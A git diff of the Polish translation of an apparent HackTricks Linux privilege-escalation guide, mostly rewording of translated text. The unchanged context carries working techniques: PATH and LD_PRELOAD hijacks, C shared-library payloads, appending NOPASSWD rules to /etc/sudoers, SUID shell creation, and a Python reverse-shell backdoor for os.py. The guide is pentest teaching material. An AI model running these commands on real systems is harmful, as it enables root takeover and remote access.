Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania czegoś:
Ta dyrektywa pozwala użytkownikowi na **ustawienie zmiennej środowiskowej** podczas wykonywania czegoś:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo execution bypassing paths
**Skok** do odczytu innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
**Skocz** do przeczytania innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Komenda Sudo/binary SUID bez ścieżki komendy
Jeśli **uprawnienie sudo** jest przyznane do pojedynczej komendy **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH
Jeśli **uprawnienia sudo** są przyznane do pojedynczej komendy **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
@ -767,7 +767,7 @@ Ta technika może być również używana, jeśli **suid** binarny **wykonuje in
[Przykłady ładunków do wykonania.](payloads-to-execute.md)
### Binarne pliki SUID z określoną ścieżką do polecenia
### Binarne pliki SUID z określoną ścieżką polecenia
Jeśli **suid** binarny **wykonuje inne polecenie, określając ścieżkę**, wtedy możesz spróbować **wyeksportować funkcję** o nazwie odpowiadającej poleceniu, które wywołuje plik suid.
@ -776,7 +776,7 @@ Na przykład, jeśli binarny plik suid wywołuje _**/usr/sbin/service apache2 st
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
Następnie, gdy wywołasz binarny plik suid, ta funkcja zostanie wykonana
Wtedy, gdy wywołasz binarny plik suid, ta funkcja zostanie wykonana
### LD_PRELOAD & **LD_LIBRARY_PATH**
@ -784,10 +784,10 @@ Zmienna środowiskowa **LD_PRELOAD** jest używana do określenia jednej lub wi
Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku plików wykonywalnych **suid/sgid**, system egzekwuje pewne warunki:
- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, gdzie rzeczywisty identyfikator użytkownika (_ruid_) nie pasuje do efektywnego identyfikatora użytkownika (_euid_).
- Dla plików wykonywalnych z suid/sgid, tylko biblioteki w standardowych ścieżkach, które również suid/sgid, są preładowane.
- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, gdzie rzeczywisty identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_).
- Dla plików wykonywalnych z suid/sgid, preładowane są tylko biblioteki w standardowych ścieżkach, które również suid/sgid.
Podniesienie uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń z `sudo`, a wynik `sudo -l` zawiera stwierdzenie **env_keep+=LD_PRELOAD**. Ta konfiguracja pozwala na utrzymanie zmiennej środowiskowej **LD_PRELOAD** i jej rozpoznawanie nawet podczas uruchamiania poleceń z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami.
Podniesienie uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń z `sudo`, a wynik `sudo -l` zawiera stwierdzenie **env_keep+=LD_PRELOAD**. Ta konfiguracja pozwala na utrzymanie zmiennej środowiskowej **LD_PRELOAD** i jej rozpoznawanie, nawet gdy polecenia są uruchamiane z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami.
```
Defaults env_keep += LD_PRELOAD
```
@ -814,7 +814,7 @@ W końcu, **escalate privileges** uruchamiając
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
> [!CAUTION]
> Podobny privesc może być nadużyty, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki.
> Podobne privesc może być nadużywane, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki.
```c
#include <stdio.h>
#include <stdlib.h>
@ -840,7 +840,7 @@ Kiedy napotkasz binarny plik z uprawnieniami **SUID**, który wydaje się nietyp
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Na przykład napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjał do wykorzystania.
Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjał do wykorzystania.
Aby to wykorzystać, należy stworzyć plik C, powiedzmy _"/path/to/.config/libcalc.c"_, zawierający następujący kod:
```c
@ -871,7 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Teraz, gdy znaleźliśmy binarny plik SUID ładujący bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o potrzebnej nazwie:
Teraz, gdy znaleźliśmy binarkę SUID ładującą bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o potrzebnej nazwie:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
@ -894,7 +894,7 @@ to oznacza, że biblioteka, którą wygenerowałeś, musi mieć funkcję o nazwi
[**GTFOBins**](https://gtfobins.github.io) to starannie wyselekcjonowana lista binarnych plików Unix, które mogą być wykorzystywane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) jest tym samym, ale w przypadkach, gdy możesz **tylko wstrzykiwać argumenty** w poleceniu.
Projekt zbiera legalne funkcje binarnych plików Unix, które mogą być nadużywane do wydostania się z ograniczonych powłok, eskalacji lub utrzymania podwyższonych uprawnień, transferu plików, uruchamiania powłok bind i reverse oraz ułatwiania innych zadań po eksploatacji.
Projekt zbiera legalne funkcje binarnych plików Unix, które mogą być nadużywane do wydostawania się z ograniczonych powłok, eskalacji lub utrzymywania podwyższonych uprawnień, transferu plików, uruchamiania powłok bind i reverse oraz ułatwiania innych zadań po eksploatacji.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -911,7 +911,7 @@ https://gtfoargs.github.io/
### FallOfSudo
Jeśli możesz uzyskać dostęp do `sudo -l`, możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo), aby sprawdzić, czy znajdzie sposób na wykorzystanie jakiejkolwiek reguły sudo.
Jeśli masz dostęp do `sudo -l`, możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo), aby sprawdzić, czy znajdzie sposób na wykorzystanie jakiejkolwiek reguły sudo.
### Ponowne użycie tokenów Sudo
@ -921,8 +921,8 @@ Wymagania do eskalacji uprawnień:
- Już masz powłokę jako użytkownik "_sampleuser_"
- "_sampleuser_" **użył `sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokena sudo, który pozwala nam używać `sudo` bez wprowadzania hasła)
- `cat /proc/sys/kernel/yama/ptrace_scope` wynosi 0
- `gdb` jest dostępny (możesz być w stanie go przesłać)
- `cat /proc/sys/kernel/yama/ptrace_scope` to 0
- `gdb` jest dostępny (możesz go przesłać)
(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`)
@ -939,7 +939,7 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
- **Trzecia eksploitacja** (`exploit_v3.sh`) **utworzy plik sudoers**, który **czyni tokeny sudo wiecznymi i pozwala wszystkim użytkownikom na korzystanie z sudo**
- Trzeci exploit (`exploit_v3.sh`) utworzy plik sudoers, który sprawi, że tokeny sudo będą wieczne i pozwoli wszystkim użytkownikom na korzystanie z sudo.
```bash
bash exploit_v3.sh
sudo su
@ -954,12 +954,12 @@ Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz
### /etc/sudoers, /etc/sudoers.d
Plik `/etc/sudoers` oraz pliki w `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root**.\
**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać interesujące informacje**, a jeśli możesz **zapisać** jakikolwiek plik, będziesz mógł **eskalować uprawnienia**.
**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać interesujące informacje**, a jeśli możesz **zapisać** jakikolwiek plik, będziesz w stanie **eskalować uprawnienia**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
Jeśli potrafisz pisać, możesz nadużyć tego uprawnienia.
Jeśli potrafisz pisać, możesz nadużywać tej uprawnienia.
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@ -979,9 +979,9 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
Jeśli wiesz, że **użytkownik zazwyczaj łączy się z maszyną i używa `sudo`** do eskalacji uprawnień, a ty uzyskałeś powłokę w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile), aby gdy użytkownik wykona sudo, twój plik wykonywalny sudo został uruchomiony.
Jeśli wiesz, że **użytkownik zazwyczaj łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i masz powłokę w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile), aby gdy użytkownik wykona sudo, twój plik wykonywalny sudo został uruchomiony.
Zauważ, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
Zauważ, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
Lub uruchamiając coś takiego:
```bash
@ -998,15 +998,15 @@ zsh
echo $PATH
sudo ls
```
## Wspólna biblioteka
## Shared Library
### ld.so
Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą załadowane pliki konfiguracyjne**. Zazwyczaj plik ten zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf`
Oznacza to, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` będą odczytywane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład, zawartość pliku `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **Oznacza to, że system będzie szukał bibliotek w `/usr/local/lib`**.
To oznacza, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` będą odczytywane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład, zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **To oznacza, że system będzie szukał bibliotek w `/usr/local/lib`**.
Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** w którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolny plik w `/etc/ld.so.conf.d/` lub dowolny folder w pliku konfiguracyjnym w `/etc/ld.so.conf.d/*.conf`, może być w stanie podnieść uprawnienia.\
Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** w którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolny plik w `/etc/ld.so.conf.d/` lub dowolny folder w pliku konfiguracyjnym w `/etc/ld.so.conf.d/*.conf`, może być w stanie podnieść swoje uprawnienia.\
Zobacz **jak wykorzystać tę błędną konfigurację** na następującej stronie:
{{#ref}}
@ -1046,25 +1046,25 @@ setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
## Możliwości
## Capabilities
Linux capabilities zapewniają **podzbiór dostępnych uprawnień roota dla procesu**. To skutecznie dzieli uprawnienia roota na **mniejsze i wyraźne jednostki**. Każda z tych jednostek może być następnie niezależnie przyznawana procesom. W ten sposób pełny zestaw uprawnień jest zmniejszany, co zmniejsza ryzyko wykorzystania.\
Przeczytaj następującą stronę, aby **dowiedzieć się więcej o możliwościach i jak je nadużywać**:
Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\
Read the following page to **learn more about capabilities and how to abuse them**:
{{#ref}}
linux-capabilities.md
{{#endref}}
## Uprawnienia katalogu
## Directory permissions
W katalogu **bit dla "wykonania"** oznacza, że użytkownik może "**cd**" do folderu.\
W katalogu, **bit dla "wykonania"** oznacza, że użytkownik może "**cd**" do folderu.\
Bit **"odczytu"** oznacza, że użytkownik może **wylistować** **pliki**, a bit **"zapisu"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**.
## ACL
## ACLs
Listy kontroli dostępu (ACL) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw określonym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux).
Listy Kontroli Dostępu (ACLs) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **przesłonięcia tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Przyznaj** użytkownikowi "kali" uprawnienia do odczytu i zapisu dla pliku:
**Nadaj** użytkownikowi "kali" uprawnienia do odczytu i zapisu dla pliku:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
@ -1075,7 +1075,7 @@ setfacl -b file.txt #Remove the ACL of the file
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Otwarte sesje powłoki
## Otwórz sesje powłoki
W **starych wersjach** możesz **przejąć** niektóre sesje **powłoki** innego użytkownika (**root**).\
W **najnowszych wersjach** będziesz mógł **połączyć się** tylko z sesjami ekranu **swojego własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz sesji**.
@ -1117,16 +1117,16 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
Sprawdź **Valentine box from HTB** jako przykład.
Sprawdź **Valentine box from HTB** dla przykładu.
## SSH
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Wszystkie klucze SSL i SSH generowane na systemach opartych na Debianie (Ubuntu, Kubuntu itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\
Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukiwać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### Interesujące wartości konfiguracji SSH
### Interesujące wartości konfiguracyjne SSH
- **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie jest `no`.
- **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie jest `yes`.
@ -1151,7 +1151,7 @@ Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **klu
### ForwardAgent/AllowAgentForwarding
Przekazywanie agenta SSH pozwala na **używanie lokalnych kluczy SSH zamiast pozostawiania kluczy** (bez haseł!) na twoim serwerze. Dzięki temu będziesz mógł **przeskoczyć** przez ssh **do hosta** i stamtąd **przeskoczyć do innego** hosta **używając** **klucza** znajdującego się w twoim **początkowym hoście**.
Przekazywanie agenta SSH pozwala na **używanie lokalnych kluczy SSH zamiast pozostawiania kluczy** (bez haseł!) na serwerze. Dzięki temu będziesz mógł **przeskoczyć** przez ssh **do hosta** i stamtąd **przeskoczyć do innego** hosta **używając** **klucza** znajdującego się w twoim **początkowym hoście**.
Musisz ustawić tę opcję w `$HOME/.ssh.config` w ten sposób:
```
@ -1161,7 +1161,7 @@ ForwardAgent yes
Zauważ, że jeśli `Host` to `*`, za każdym razem, gdy użytkownik przeskakuje na inną maszynę, ten host będzie mógł uzyskać dostęp do kluczy (co stanowi problem bezpieczeństwa).
Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zabronić tej konfiguracji.\
Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** przekazywania ssh-agent z użyciem słowa kluczowego `AllowAgentForwarding` (domyślnie jest to zezwolenie).
Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** przekazywania ssh-agenta za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwala).
Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę, ponieważ **możesz być w stanie to wykorzystać do eskalacji uprawnień**:
@ -1287,17 +1287,17 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Znane pliki zawierające hasła
Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), który przeszukuje **kilka możliwych plików, które mogą zawierać hasła**.\
**Innym interesującym narzędziem**, które możesz użyć do tego celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), które jest aplikacją open source używaną do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux i Mac.
**Innym interesującym narzędziem**, które możesz użyć do tego celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), które jest aplikacją open source używaną do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla systemów Windows, Linux i Mac.
### Dzienniki
Jeśli możesz czytać dzienniki, możesz być w stanie znaleźć **interesujące/poufne informacje w ich wnętrzu**. Im dziwniejszy jest dziennik, tym bardziej interesujący będzie (prawdopodobnie).\
Ponadto, niektóre "**źle**" skonfigurowane (z tylnią furtką?) **dzienniki audytu** mogą pozwolić ci na **rejestrowanie haseł** w dziennikach audytu, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Ponadto, niektóre "**źle**" skonfigurowane (z backdoorem?) **dzienniki audytu** mogą pozwolić ci na **rejestrowanie haseł** w dziennikach audytu, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
Aby **czytać logi, grupa** [**adm**](interesting-groups-linux-pe/#adm-group) będzie naprawdę pomocna.
Aby **czytać logi, grupa** [**adm**](interesting-groups-linux-pe/index.html#adm-group) będzie naprawdę pomocna.
### Pliki powłoki
```bash
@ -1319,7 +1319,7 @@ Nie zamierzam tutaj wymieniać, jak to wszystko zrobić, ale jeśli jesteś zain
### Python library hijacking
Jeśli wiesz, **skąd** skrypt pythonowy będzie wykonywany i **możesz pisać w** tym folderze lub **możesz modyfikować biblioteki pythonowe**, możesz zmodyfikować bibliotekę OS i wprowadzić do niej backdoora (jeśli możesz pisać tam, gdzie skrypt pythonowy będzie wykonywany, skopiuj i wklej bibliotekę os.py).
Jeśli wiesz, **skąd** skrypt pythonowy będzie wykonywany i **możesz pisać w** tym folderze lub możesz **modyfikować biblioteki python**, możesz zmodyfikować bibliotekę OS i wprowadzić do niej backdoora (jeśli możesz pisać tam, gdzie skrypt pythonowy będzie wykonywany, skopiuj i wklej bibliotekę os.py).
Aby **wprowadzić backdoora do biblioteki**, po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT):
```python
@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
```
### Wykorzystanie logrotate
Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** w pliku dziennika lub jego katalogach nadrzędnych potencjalnie uzyskać podwyższone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często działający jako **root**, może być manipulowany w celu wykonania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest, aby sprawdzić uprawnienia nie tylko w _/var/log_, ale także w każdym katalogu, w którym stosuje się rotację logów.
Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** w pliku dziennika lub jego katalogach nadrzędnych potencjalnie uzyskać podwyższone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często działający jako **root**, może być manipulowany do wykonywania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest, aby sprawdzić uprawnienia nie tylko w _/var/log_, ale także w każdym katalogu, w którym stosuje się rotację logów.
> [!NOTE]
> Ta luka dotyczy wersji `logrotate` `3.18.0` i starszych
@ -1336,13 +1336,13 @@ Szczegółowe informacje na temat luki można znaleźć na tej stronie: [https:/
Możesz wykorzystać tę lukę za pomocą [**logrotten**](https://github.com/whotwagner/logrotten).
Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logi nginx),** więc za każdym razem, gdy stwierdzisz, że możesz zmieniać logi, sprawdź, kto zarządza tymi logami i sprawdź, czy możesz uzyskać podwyższone uprawnienia, zastępując logi dowiązaniami symbolicznymi.
Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logi nginx),** więc zawsze, gdy zauważysz, że możesz zmieniać logi, sprawdź, kto zarządza tymi logami i sprawdź, czy możesz uzyskać podwyższone uprawnienia, zastępując logi dowiązaniami symbolicznymi.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Referencja luki:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
Jeśli z jakiegokolwiek powodu użytkownik jest w stanie **zapisać** skrypt `ifcf-<cokolwiek>` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to twój **system jest przejęty**.
Jeśli, z jakiegokolwiek powodu, użytkownik jest w stanie **zapisać** skrypt `ifcf-<cokolwiek>` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to twój **system jest przejęty**.
Skrypty sieciowe, takie jak _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są \~sourced\~ w systemie Linux przez Network Manager (dispatcher.d).
@ -1356,11 +1356,11 @@ DEVICE=eth0
```
### **init, init.d, systemd i rc.d**
Katalog `/etc/init.d` jest domem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one wykonywane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`.
Katalog `/etc/init.d` jest domem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one wykonywane bezpośrednio lub przez linki symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`.
Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **zarządzaniem usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy zgodności w Upstart.
Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy zgodności w Upstart.
**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje, takie jak uruchamianie demonów na żądanie, zarządzanie automontowaniem i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, upraszczając proces administracji systemem.
**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje, takie jak uruchamianie demonów na żądanie, zarządzanie automount i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, upraszczając proces administracji systemem.
## Inne sztuczki
@ -1389,7 +1389,7 @@ cisco-vmanage.md
## Więcej pomocy
[Statyczne binaria impacket](https://github.com/ropnop/impacket_static_binaries)
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
## Narzędzia Privesc Linux/Unix
@ -1400,11 +1400,11 @@ cisco-vmanage.md
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop:** Wykrywanie luk w jądrze w Linuksie i MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (dostęp fizyczny):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Kompilacja więcej skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## Odniesienia

View File

@ -22,7 +22,7 @@ Możesz również **wykorzystać montowanie do eskalacji uprawnień** wewnątrz
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> To jest podobne do poprzedniej metody, ale tutaj **montujemy dysk urządzenia**. Następnie, wewnątrz kontenera uruchom `mount /dev/sda1 /mnt` i możesz **uzyskać dostęp** do **systemu plików hosta** w `/mnt`
- Uruchom `fdisk -l` na hoście, aby znaleźć urządzenie `</dev/sda1>` do zamontowania
- **`-v /tmp:/host`** -> Jeśli z jakiegoś powodu możesz **zamontować tylko niektóre katalogi** z hosta i masz dostęp wewnątrz hosta. Zamontuj go i stwórz **`/bin/bash`** z **suid** w zamontowanym katalogu, aby móc **wykonać go z hosta i eskalować do roota**.
